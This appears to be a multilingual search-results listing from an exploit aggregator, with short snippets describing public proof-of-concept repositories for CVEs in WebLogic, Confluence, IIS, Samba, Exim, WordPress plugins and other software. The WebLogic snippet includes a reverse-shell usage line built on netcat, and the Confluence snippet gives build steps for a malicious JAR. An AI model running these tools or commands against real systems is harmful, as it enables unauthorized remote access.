999282 matches found
CVE-2016-10033
CVE-2016-10033 Vulnérabilité d'exécution de code à distance dans PHPMailer. En savoir plus sur CVE-2016-10033: CVE-2016-10033 Wiki...
CVE-2026-14762-PoC-Exploit
CVE-2026-14762 – Эксплуатация SQL-инъекции в Code‑Projects Hotel & Tourism Reservation 1.0 -orange -red Полнофункциональный, многопоточный эксплуатационный скрипт для слепой SQL-инъекции на основе времени для CVE‑2026‑14762. Нацелен на конечную точку /admin/rooms.php приложения Code‑Projects Hote...
CVE-2020-14645
CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP pour Python （complète en une étape） Useage: Python3 exploit.py -t -c astuce : pas d'écho Exemple： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' ensuite vous obtiendrez un shell...
CVE-2017-7269-exploit
根据 https://github.com/edwardz246003/IISexploit.git 修改得来 Utilisation root@kitploit: -h : Sélectionner l'hôte par défaut 127.0.0.1 -p : Sélectionner le port par défaut 80 Ajouter une commande à la fin par défaut regedit, actuellement ce script ne supporte que 8 caractères maximum...
bitbang-cli
BitBang CLI bitbang est un multitool d'accès distant sous forme de binaire statique unique. Depuis n'importe quel navigateur : un shell interactif et un explorateur de fichiers pour accéder à la machine distante. Vous pouvez également atteindre les applications web présentes sur le réseau de cett...
rdpscan
rdpscan pour la vulnérabilité BlueKeep CVE-2019-0708 Il s'agit d'un scanner rapide et rudimentaire pour la vulnérabilité CVE-2019-0708 dans le Bureau à distance Microsoft. Actuellement, environ 900 000 machines sur l'Internet public sont vulnérables à cette vulnérabilité, on s'attend donc à voir...
CVE-2026-3891
CVE-2026-3891 Pix for WooCommerce = 1.5.0 - Téléchargement Arbitraire de Fichier Non Authentifié 💣 Pix for WooCommerce = 1.5.0 – Téléchargement Arbitraire de Fichier Non Authentifié CVE-2026-3891 👤 Nxploited 🧩 Description Le plugin Pix for WooCommerce pour WordPress est vulnérable à un...
Peyara-FileUpload
Titre de l'exploit : Peyara Remote Mouse v1.0.1 — Téléversement arbitraire de fichiers sans authentification Date : 2025-01-06 Auteur de l'exploit : tmrswrr Lien du logiciel : https://peyara-remote-mouse.vercel.app/ Plateforme : Windows Version : v1.0.1 Testé sur : Windows 10 root@kitploit: USAGE...
react2shell
React2Shell: RCE 0-day в React Server Components CVE-2025-55182 React и CVE-2025-66478 Next.js Этот репозиторий содержит код эксплойта только для авторизованного тестирования безопасности и образовательных целей. См. также: Несколько исследователей опубликовали анализ этой уязвимости. Ознакомьтес...
ipmitest
ipmitest Скрипт для проверки уязвимости обхода аутентификации IPMI, связанной с нулевым набором шифров CVE-2013-4784 IPMI — это стандартизированный интерфейс компьютерной системы, используемый системными администраторами для внеполосного управления компьютерными системами и мониторинга их работы...
phone-deck
phone-deck حوّل هاتف Android احتياطي أو أي جهاز بمتصفح إلى لوحة تحكم مستضاف ذاتياً وسطح مكتب بعيد لمحطة عمل Linux الخاصة بك — عبر شبكة Tailscale الخاصة بك، دون أي تطبيقات طرف ثالث. لقد بدأ الأمر كسؤال «ماذا أفعل بهاتف قديم؟» وأصبح طبقة تحكم لنظام Hyprland: التحكم في النوافذ/مساحات العمل، وحدات...
CVE-2022-26134
CVE-2022-26134 Confluence Server et Data Center - CVE-2022-26134 - Vulnérabilité d'exécution de code à distance non authentifiée de gravité critique...
CVE-2020-11890
Créé par HK CVE-2020-11890 : Des validations d'entrée inadéquates dans la classe de table usergroup pourraient entraîner une configuration ACL cassée menant à une RCE Lien https://developer.joomla.org/security-centre/810-20200402-core-missing-checks-for-the-root-usergroup-in-usergroup-table.html...
CVE-2018-8174
CVE-2018-8174 MS Word et MS WordPad via IE VBS Engine RCE MS Word et MS WordPad RCE via IE VBS RCE https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript Enregistrez index.html sur le serveur web Utilisez ensuite le script python pour générer l'exploit RTF Le shellcode est...
Confluence-EvilJar
aaaademo/Confluence-EvilJar À combiner avec CVE-2023-22515 pour téléverser un fichier jar dans l'interface d'administration et obtenir une RCE. root@kitploit: git clone https://github.com/aaaademo/Confluence-EvilJar cd Confluence-EvilJar mvn package CMDshell root@kitploit:...
day06-foxcms-rce
Day06 — RCE de type FoxCMS CVE-2025-29306 — Laboratoire pédagogique Ce mini laboratoire reproduit l'idée centrale derrière la CVE-2025-29306 : l'utilisation non sécurisée de unserialize sur des entrées contrôlées par l'attaquant, conduisant à une exécution de code à distance. Il s'agit d'une...
CVE-2024-43918
Wordpress WBW Product Table Pro = 1.9.4 - Exécution SQL Arbitraire Non Authentifiée menant à une Exécution de Code à Distance CVE-2024-43918 Le plugin WBW Product Table Pro pour WordPress est vulnérable à une exécution SQL arbitraire non autorisée en raison d’un manque de vérification des capacit...
CVE-2020-28018
CVE-2020-28018: Use-after-free UAF dans Exim menant à une exécution de code à distance RCE Introduction Il existe une vulnérabilité de use-after-free UAF dans tls-openssl.c qui permet à des attaquants distants non authentifiés de corrompre des données mémoire internes, aboutissant ainsi à une...
-CVE-2017-7494-Samba-Exploit-POC
-CVE-2017-7494-Samba-Exploit-POC Selon les chercheurs de Rapid7, plus de 110 000 appareils apparaissent sur Internet, qui exécutent des versions stables de Samba, tandis que 92 500 semblent exécuter des versions instables de Samba, pour lesquelles il n'existe pas de correctif. Les modèles les plu...